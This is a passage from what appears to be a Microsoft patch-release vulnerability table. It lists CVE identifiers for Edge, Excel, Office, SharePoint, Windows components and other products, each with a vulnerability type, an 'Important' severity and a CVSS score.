DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  